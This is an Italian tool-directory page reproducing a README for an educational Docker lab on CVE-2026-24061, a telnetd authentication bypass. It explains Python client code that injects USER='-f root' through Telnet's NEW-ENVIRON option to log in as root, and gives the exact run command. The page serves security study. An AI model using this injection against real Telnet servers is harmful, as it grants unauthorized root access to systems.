Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-24061 — # Laboratorio Docker educativo che dimostra l'iniezione del nome utente NEW-ENVIRON di Telnet (CVE-2026-24061) con un client Python e un server vulnerabile per ricerca sulla sicurezza isolata. | Kitploit
Strumenti/GitHubGitHub/tiborscholtz/cve-2026-24061
Analisi delle VulnerabilitàExploitSicurezza di ReteApprendimento e FormazioneLab e Pratica
GitHubtiborscholtz/cve-2026-24061

CVE-2026-24061

# Laboratorio Docker educativo che dimostra l'iniezione del nome utente NEW-ENVIRON di Telnet (CVE-2026-24061) con un client Python e un server vulnerabile per ricerca sulla sicurezza isolata.

Vedi Repository
6 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Laboratorio Docker di Auto-Login Telnet

Docker Python License

Un laboratorio Docker leggero per sperimentare con la negoziazione del protocollo Telnet, spiegato nell'exploit CVE-2026-24061, che contiene l'iniezione automatica del nome utente tramite l'opzione NEW-ENVIRON.

Questo progetto crea un ambiente client-server isolato per studiare come Telnet gestisce il bypass dell'autenticazione basato su variabili d'ambiente.


Caratteristiche

  • Laboratorio isolato a due contenitori usando Docker Compose
  • Client Telnet Python personalizzato
  • Iniezione automatica della variabile d'ambiente USER
  • Gestione di base della negoziazione delle opzioni Telnet
  • Scoperta dei servizi basata sul DNS interno di Docker
  • Configurazione minima e riproducibile

Architettura

root@kitploit:~
+---------+        labnet        +---------+
| node1   |  ------------------> | node2   |
| Client  |                      | Telnet  |
| Python  |                      | Server  |
+---------+                      +---------+
ContenitoreRuolo
node1Client Python con script di auto-login
node2Server Telnet (inetutils-telnetd 2.7)

Entrambi i servizi vengono eseguiti all'interno di una rete bridge Docker privata, denominata labnet.


Struttura del Progetto

root@kitploit:~
.
├── compose.yaml
├── Dockerfile.node1
├── Dockerfile.node2
└── exploit.py

Dettagli dei file

Dockerfile.node1

Questo file è responsabile dell'installazione del contenitore client, denominato node1.

Ho scelto python:3.12-slim come immagine di base, poiché lo scopo di questo laboratorio è esclusivamente la comunicazione di rete. Installiamo solo il client telnet stesso e copiamo exploit.py nella cartella root del contenitore.

Dockerfile.node2

Il file è responsabile dell'installazione del contenitore server, denominato node2.

La stessa immagine di base vale anche per questo contenitore. Tuttavia, il processo di installazione prevede più passaggi:

  • Dopo l'aggiornamento, dobbiamo installare wget, per ottenere la versione vulnerabile di telnetd.
  • Dopo aver scaricato la versione vulnerabile, installiamola usando apt get install -y
  • La riga aggiunta a /etc/inetd.conf abilita il servizio telnet.
  • L'ultimo comando abilita il demone inetd come comando di avvio per il contenitore.

exploit.py

All'inizio del file, vediamo alcune costanti dichiarate:

root@kitploit:~
IAC  = 255 
DO   = 253
DONT = 254
WILL = 251
WONT = 252
SB   = 250
SE   = 240

IAC, con il valore di 255, significa Interpret As Command, quindi segna l'inizio della sequenza di controllo Telnet.

Puoi esaminare ulteriori opzioni qui

Il formato di solito si presenta così:

root@kitploit:~
IAC <comando> <opzione>

Nello script, c'è la seguente parte:

root@kitploit:~
# Handle telnet negotiation
if IAC in data:
    handle_telnet_negotiation(sock, data, username)

Questo if verifica che, se i dati attualmente ricevuti dal server contengono il valore IAC, dobbiamo interpretarli come un comando.

Attraversiamo i dati ricevuti usando un ciclo while. Controlliamo per ogni byte se è un IAC.

root@kitploit:~
if data[i] == IAC:
    cmd = data[i+1]
    opt = data[i+2]

Se lo è, assegniamo alle variabili cmd e opt il byte corrispondente del flusso di dati.

Se il valore opt è uguale al valore di NEW_ENVIRON, lo script esegue il metodo send_new_environ_user.

Esaminiamo la seguente parte di codice:

root@kitploit:~
data = bytes([
        IAC, SB, NEW_ENVIRON, 0,  # IS
        ENV_USERVAR
    ]) + b"USER" + bytes([ENV_VALUE]) + username.encode() + bytes([
        IAC, SE
])

SB e SE fanno parte delle costanti del protocollo Telnet. SB sta per 'Subnegotiation begin' (inizio sotto-negoziazione), mentre SE sta per 'Subnegotiation end' (fine sotto-negoziazione). Tutto ciò che si trova tra questi due valori sono impostazioni relative a un comando specifico, inviate al server. In questo caso, vogliamo inviare un messaggio usando lo standard rfc1572, in dettaglio qui.

Possiamo tradurre liberamente la sequenza di byte in italiano, come:

root@kitploit:~
- Interpreta questo come un comando (IAC)
- È (0)
- Una nuova variabile d'ambiente (NEW_ENVIRON)
- Il valore di questa nuova variabile d'ambiente è (b"USER" + bytes([ENV_VALUE]) + username.encode())
- Termina la sotto-connessione (IAC + SE)

Tuttavia, ci sono casi in cui il server Telnet di destinazione non supporta le variabili d'ambiente relative ai nomi utente. In questo caso, ripieghiamo sull'invio del nome utente nel modo tradizionale.


Requisiti

  • Docker 24+
  • Docker Compose v2+

Verifica dell'installazione:

root@kitploit:~
docker --version
docker compose version

Avvio Rapido

1. Build e avvio dell'ambiente

root@kitploit:~
docker compose up --build -d

Controlla lo stato:

root@kitploit:~
docker ps

Dovresti vedere:

  • node1
  • node2

2. Apri una shell nel contenitore client

root@kitploit:~
docker exec -it node1 bash

Imposta un nome utente ed esegui lo script:

root@kitploit:~
USER="-f root" python exploit.py node2

Lo script:

  • Si connette a node2 sulla porta 23
  • Esegue la negoziazione Telnet
  • Invia USER=-f root usando NEW-ENVIRON
  • Ripiega sul rilevamento del prompt se necessario

Rete

  • Nome della rete: labnet
  • Il DNS interno di Docker consente la risoluzione dei nomi host
  • Nessuna porta è esposta all'host
  • La comunicazione avviene solo da contenitore a contenitore
HostnameServizio
node1Client
node2Server Telnet

Note di Implementazione

Lo script client:

  • Gestisce le sequenze di controllo Telnet IAC, DO, WILL, che sono comandi fondamentali del protocollo Telnet usati per la negoziazione delle opzioni tra client e server.
  • Risponde alle richieste NEW-ENVIRON
  • Invia:
root@kitploit:~
USER=<valore di $USER>
  • Rileva i prompt login: o username: come ripiego

Arresto e Pulizia

Arresta l'ambiente:

root@kitploit:~
docker compose down

Se vuoi anche rimuovere contenitori e immagini:

root@kitploit:~
docker compose down --rmi all

Avviso di Sicurezza

Telnet trasmette i dati in chiaro e non è sicuro. Questo progetto è destinato solo a scopi educativi, all'interno di ambienti isolati.


Risoluzione dei Problemi

Connessione rifiutata

  • Assicurati che i contenitori siano in esecuzione:

    root@kitploit:~
    docker ps
    

Lo script termina con errore USER

  • Assicurati che la variabile d'ambiente sia impostata:
root@kitploit:~
USER="-f root" python exploit.py node2

Ricostruzione dopo le modifiche

root@kitploit:~
docker compose up --build

Licenza

Questo repository è fornito per uso educativo e di ricerca. Contributi e miglioramenti sono benvenuti.

Scarica lo strumento